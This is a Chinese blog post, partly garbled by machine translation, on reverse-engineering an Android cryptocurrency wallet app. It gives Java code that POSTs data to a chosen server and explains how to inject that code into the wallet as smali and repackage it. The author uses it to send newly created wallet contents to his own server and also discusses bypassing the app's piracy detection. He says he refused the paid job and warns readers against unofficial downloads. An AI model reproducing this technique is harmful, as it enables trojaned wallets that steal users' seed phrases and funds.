PS: 有单子找我接呀,单击此处添加我
前言关于逆向定位小技巧APP盗版检测思维区块链安全思维的去除总结其他关注点关注这里,了解更多原创信息:喝咖啡
前言
1 .早在8月中旬就有粉丝跟我说,因为有开发需求,听我说,能不能实现
2 .虽然还没想好,但这笔钱来源有点暗,最后不来接。 对方出高价也不接
3 .没有更新博客。 也没有技术亮点。 这次是一篇水吧。 总之在逆向的APP中,我学到了很多
4 .本文内容不介绍脱壳、签名的问题。 本文侧重于Smali源代码的修改和重新打包
逆向定位诀窍了解PS:区块链钱包的实现原理
了解区块链钱包,技术上主要涉及这些重要概念。 助记符、私钥、公钥、钱包地址和区块链钱包服务器不存储用户助记符,也就是说,它们不通过网络传输,而是全部存储在您的本地; 笔者只要在Android端设定为中,将APP的数据清空,就不会保持原样了。 不记笔记的话钱包就不会回来,所以请一定要记下来1。 我知道山上有老虎,是偏虎山行——,还是偏老路,抓住包分析。 (固有的道路,排除是最简单的方法) )。
2 .发现抓包没有任何发现,都是加密的(TCP/UDP/HTTPS ) )。
3 .灵光一现,想到了前面提到原理的关键词,拿去做谷歌翻译。 笨蛋——那个时候,心情突然变得开朗了
4 .助记符——Mnemonic,太好了。 这是我想到的。 而且,不会混淆。 (我很自豪吗,哼! )
使用frida hook分析的重要代码位置(此处忽略进程) ) ) ) ) )。
6 .本文介绍的最重要的一点是smali源代码的修改和打包
6-1、先分析一下吧。 可以直接修改smali源代码以实现所需的操作。 例如:
插入日志打印; 拦截指定的重要内容后,发送到指定服务器的6-2,中发生了问题。 我们需要修改smali源代码。 那个不能按照那个语法写吗?
是的,你有这个意识就好了;
来了。 我的政治老师告诉我的。 我该怎么办? 我们直接写大篇幅的smali代码很头疼啊。 不是不可能,而是容易出错,需要多次修改
有更好的想法和实现吗? 是的,我是这么想的
7 .前向开发3354smali项目3354副本将指向smali文件——的反向编译smali文件中的分组路径更改为对正确分组路径3354的最后引用
将内容发送到指定服务器的demo代码:
ForSmaliUtils.java
导入安卓. util.log; import Java.io.bytearray output stream; import java.io.IOException; import java.io.InputStream; import Java.io.output streamwriter; import Java.net.httpurl connection; import java.net.URL; publicclassforsmaliutils { publicstaticstringstreamtostring (inputstream stream ) bytearrayoutputstreamoutputstream=newbyteateam int len=0; try{while((len=stream.read ) b )!=-1 ) outputstream.write(b,0,len ); } return outputStream.toString (; }catch(ioexceptione ) { e.printStackTrace ); }返回空值; } publicstaticvoidsenddata (final objectdata ) { final String TAG='SmaliLog '; finalstringmyurl=' http://192.168.1.2:7071/receivedata '; log.I(tag,' objdata: ' data.toString ); thread thread=new thread (new runnable () { @Override public void run ) } try (URL URL=newurl ) myurl );
HttpURLConnection urlConn = (HttpURLConnection) url.openConnection(); urlConn.setConnectTimeout(10 * 1000); urlConn.setReadTimeout(10 * 1000); urlConn.setDoOutput(true); urlConn.setDoInput(true); urlConn.setUseCaches(false); urlConn.setRequestMethod("POST"); urlConn.setInstanceFollowRedirects(true); urlConn.setRequestProperty("Content-Type", "application/json;charset=UTF-8"); urlConn.connect(); OutputStreamWriter outputStreamWriter = new OutputStreamWriter(urlConn.getOutputStream()); outputStreamWriter.write(String.valueOf(data)); outputStreamWriter.flush(); outputStreamWriter.close(); if (urlConn.getResponseCode() == 200) { String result = streamToString(urlConn.getInputStream()); Log.e(TAG, "Post方式请求成功,result---> " + result); } else { Log.e(TAG, "Post方式请求失败: " + urlConn.getResponseMessage()); } urlConn.disconnect(); } catch (Exception e) { Log.e(TAG, "发送数据异常: " + e.toString()); } } }); thread.start(); }}调用发送数据到指定的服务器:
String myData = "hello, i am qizai, are u ok?";ForSmaliUtils.sendData(myData);然后将正向开发的代码,我的是在一个 xposed 插件 APP 里面的,所以直接编译这个项目输出一个 APP 包就行了;
然后将这个输出的 APP 包,反编译成 smali 项目,我这里同样是使用 Android killer来修改, 请看第一篇手把手教学的教程
查看 smali 源码
直接拷贝 ForSmaliUtils 的 smali 文件,及使用、调用它
然后重新打包,成功之后,直接打印日志试试,因为我里面做了日志打印,标签为:SmaliLog
使用adb logcat -s SmaliLog查看,发送成功,发送的内容是:初始化创建用户的时候,APP是默认给用户创建三个钱包,币种分别是:ETH、BTC、ATOM,所对应的相关内容
服务端接收成功:
至此,这 APP 算逆向成功了
关于去掉APP盗版检测思考比如,检测到了盗版是这样的:
但是检测也照样能过滤掉,这样一来,一般的使用者就不会发现是盗版的 APP 了
怎么过呢?目前考虑的情况有这些:
屏蔽官方发起盗版检测请求去掉当前的弹窗目前实现的步骤来看,不再继续研究了,因为这是违法的事,我也跟那哥们说了,不接这单子了,然后他找别人做去了
区块链安全思考 所谓的区块链安全,什么去中心化,啥的,对吧;搁这,APP 被动手脚了那也不是很安全嘛,对吧;最重要的是,如果大伙们要炒币,那一定要从官方网站下载 APP,别从朋友那里下载,或者一些近似官网链接去下载这粉丝说是在国外的,搞这些;然后给了很多盗版的官网链接给我,打开的页面就是跟官网一模一样,链接也是包含官网那些关键词反正无论是什么 APP、什么软件都得要慎重思考来源——诚信的给你们提醒 总结 本文只想介绍一个知识点:逆向的时候,我们可以从正向开发,编写好代码后,编译成APP;再对APP进行反编译,我们就拿到了完全正确格式的 smali 代码;然后再对我们需要的 smali 文件进行拷贝到,目标逆向APP内;插入相关的调用逻辑,俗称 “插桩”,这里需要注意的是,拷贝的 smali 文件中,开头那里需要修改为正确的包名路径;插桩的时候,我们还需要注意的是:局部变量的个数,如果有用到的话(即是:.locals指令,表明了方法中非参寄存器的个数) 其他 别发横财梦了(讲真,那个单子真的很诱惑,好几个 APP,总共的金额高达3/40W,那对我来说,是三四线城市的一个首付呀)黑产早晚得进去,别杠,杠就是:早中晚都进去 [/狗头保命]禁得住诱惑之前说好的,每个月至少一更,现在都很多个月没写了,对不起粉丝们,这么久没有输出内容
感谢某人的默默支持,这好长一段时间,辛苦了,谢谢
很深夜了,睡觉啦,晚安
关注这里,了解更多原创资讯: 七仔博客首页七仔Gitee七仔Github七仔爬虫论坛首页 打赏喝咖啡你的支持就是我的动力,感谢感谢